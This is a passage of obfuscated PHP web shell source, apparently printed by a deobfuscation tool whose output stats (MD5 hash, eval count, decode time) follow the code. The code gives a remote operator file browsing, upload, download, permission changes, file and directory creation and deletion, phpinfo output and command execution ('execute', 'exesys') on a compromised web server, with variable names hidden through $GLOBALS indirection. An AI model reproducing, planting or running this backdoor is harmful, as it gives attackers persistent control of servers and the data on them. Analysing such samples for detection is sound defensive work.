chmodfile($file){${"GLOBALS"}["pufgvr"]="res";${"GLOBALS"}["ikiudyniptdh"]="res";${"GLOBALS"}["lzykxw"]="res";${"res"}=0;switch($_POST["perms0"]){case"s":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0xC000;break;case"l":${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0xA000;break;case"-":${"res"}=${"res"}|0x8000;break;case"b":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x6000;break;case"d":${${"GLOBALS"}["pufgvr"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x4000;break;case"c":${${"GLOBALS"}["lzykxw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x2000;break;case"p":${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x1000;break;case"u":break;}${"GLOBALS"}["xeomnnbyudw"]="res";if(isset($_POST["perms1"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0100;if(isset($_POST["perms2"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0080;if(isset($_POST["perms3"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0040;if(isset($_POST["perms4"]))${"res"}=${${"GLOBALS"}["xeomnnbyudw"]}|0x0020;if(isset($_POST["perms5"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0010;if(isset($_POST["perms6"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0008;if(isset($_POST["perms7"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${"res"}|0x0004;if(isset($_POST["perms8"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["nwkrhqdzrcw"]}|0x0002;if(isset($_POST["perms9"]))${${"GLOBALS"}["nwkrhqdzrcw"]}=${${"GLOBALS"}["ikiudyniptdh"]}|0x0001;echo substr(sprintf("%o",${${"GLOBALS"}["nwkrhqdzrcw"]}),-4);return chmod(${${"GLOBALS"}["vtpgxuvxbi"]},intval(substr(sprintf("%o",${${"GLOBALS"}["nwkrhqdzrcw"]}),-4),8));}function downloadfile($file){header("Content-Type: application/octet-stream");header("Content-Length: ".filesize(${${"GLOBALS"}["vtpgxuvxbi"]}));header("Content-Disposition: attachment; filename=$file");readfile(${"file"});die();}function createdir(){if(!empty($_POST["dircreate"])){if(mkdir($_SESSION["currentdir"]."/".$_POST["dircreate"]))return"Directory created!";}return"Error creating directory";}function createfile(){if(!empty($_POST["filecreate"])){${"GLOBALS"}["lwhsyzdtepf"]="fp";if(file_exists($_SESSION["currentdir"]."/".$_POST["filecreate"]))return"  ";${${"GLOBALS"}["shdxowcvsq"]}=fopen($_SESSION["currentdir"]."/".$_POST["filecreate"],"w");if(${${"GLOBALS"}["lwhsyzdtepf"]}){fclose(${"fp"});return" !";}}return"Error creating file";}function uploadfile(){if($_FILES["filename"]["error"]!=0)return"121212";$_POST["filename2"]=trim($_POST["filename2"]);if(empty($_POST["filename2"]))$_POST["filename2"]=$_FILES["filename"]["name"];if(!copy($_FILES["filename"]["tmp_name"],$_SESSION["currentdir"]."/".$_POST["filename2"])){if(!move_uploaded_file($_FILES["filename"]["tmp_name"],$_SESSION["currentdir"]."/".$_POST["filename2"]))return"File download failed...";}return"The file was uploaded successfully!";}}${${"GLOBALS"}["fdxvupxbx"]}=new shell();${${"GLOBALS"}["olmwrdqid"]}=$shell->getmicrotime();${"content"}="";if(!isset($_SESSION["currentdir"]))$_SESSION["currentdir"]=str_replace("\","/",$_SERVER["DOCUMENT_ROOT"]);if(isset($_GET["dir"])){if(opendir(realpath($_SESSION["currentdir"]."/".$_GET["dir"])))$_SESSION["currentdir"]=realpath($_SESSION["currentdir"]."/".$_GET["dir"]);Header("Location: $xshell?act=filemanager");}$_SESSION["currentdir"]=str_replace("\\","/",$_SESSION["currentdir"]);if(substr($_SESSION["currentdir"],-1,1)=="/")$_SESSION["currentdir"]=substr($_SESSION["currentdir"],0,-1);${"GLOBALS"}["lvsmiwfpysj"]="content";switch($_POST["action"]){case"chmod":if($shell->chmodfile($_POST["file"]))${${"GLOBALS"}["iknpldrpigo"]}.="The change was successful";break;case"editfile":if($shell->editfile($_POST["file"]))${"content"}.="The edit was successful";break;case"execute":$shell->execute();break;case"exesys":$shell->exesys();break;case"mkdir":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->createdir();break;case"createfile":${"content"}.=$shell->createfile();break;case"uploadfile":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->uploadfile();break;}${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputhead();${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputmenu();switch($_GET["act"]){case"edit":${${"GLOBALS"}["gyyylpy"]}.=$shell->editfileform($_GET["file"]);break;case"chmod":${${"GLOBALS"}["lvsmiwfpysj"]}.=$shell->chmodform($_GET["file"]);break;case"down":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->downloadfile($_GET["file"]);break;case"filemanager":if($_GET["act2"]=="del")${"content"}.=$shell->removefile();${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputfilemanager();if($_GET["act3"]=="del")${"content"}.=$shell->removedir();break;case"phpinfo":phpinfo();die();break;case"info":${"content"}.=$shell->outputinfo();break;case"execute":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->executeform();break;case"exesys":${${"GLOBALS"}["iknpldrpigo"]}.=$shell->exesysform();break;}${${"GLOBALS"}["iknpldrpigo"]}.=$shell->outputdown();echo${"content"};echo"<center>Generation time: ".($shell->getmicrotime()-${${"GLOBALS"}["olmwrdqid"]})."</center>";echo "<script type="text/javascript\">\n\n</script>\n";

Function Calls

None

Variables

None

Stats

MD5 6fd9309c031294b3c56784a5122fa070
Eval Count 0
Decode Time 72 ms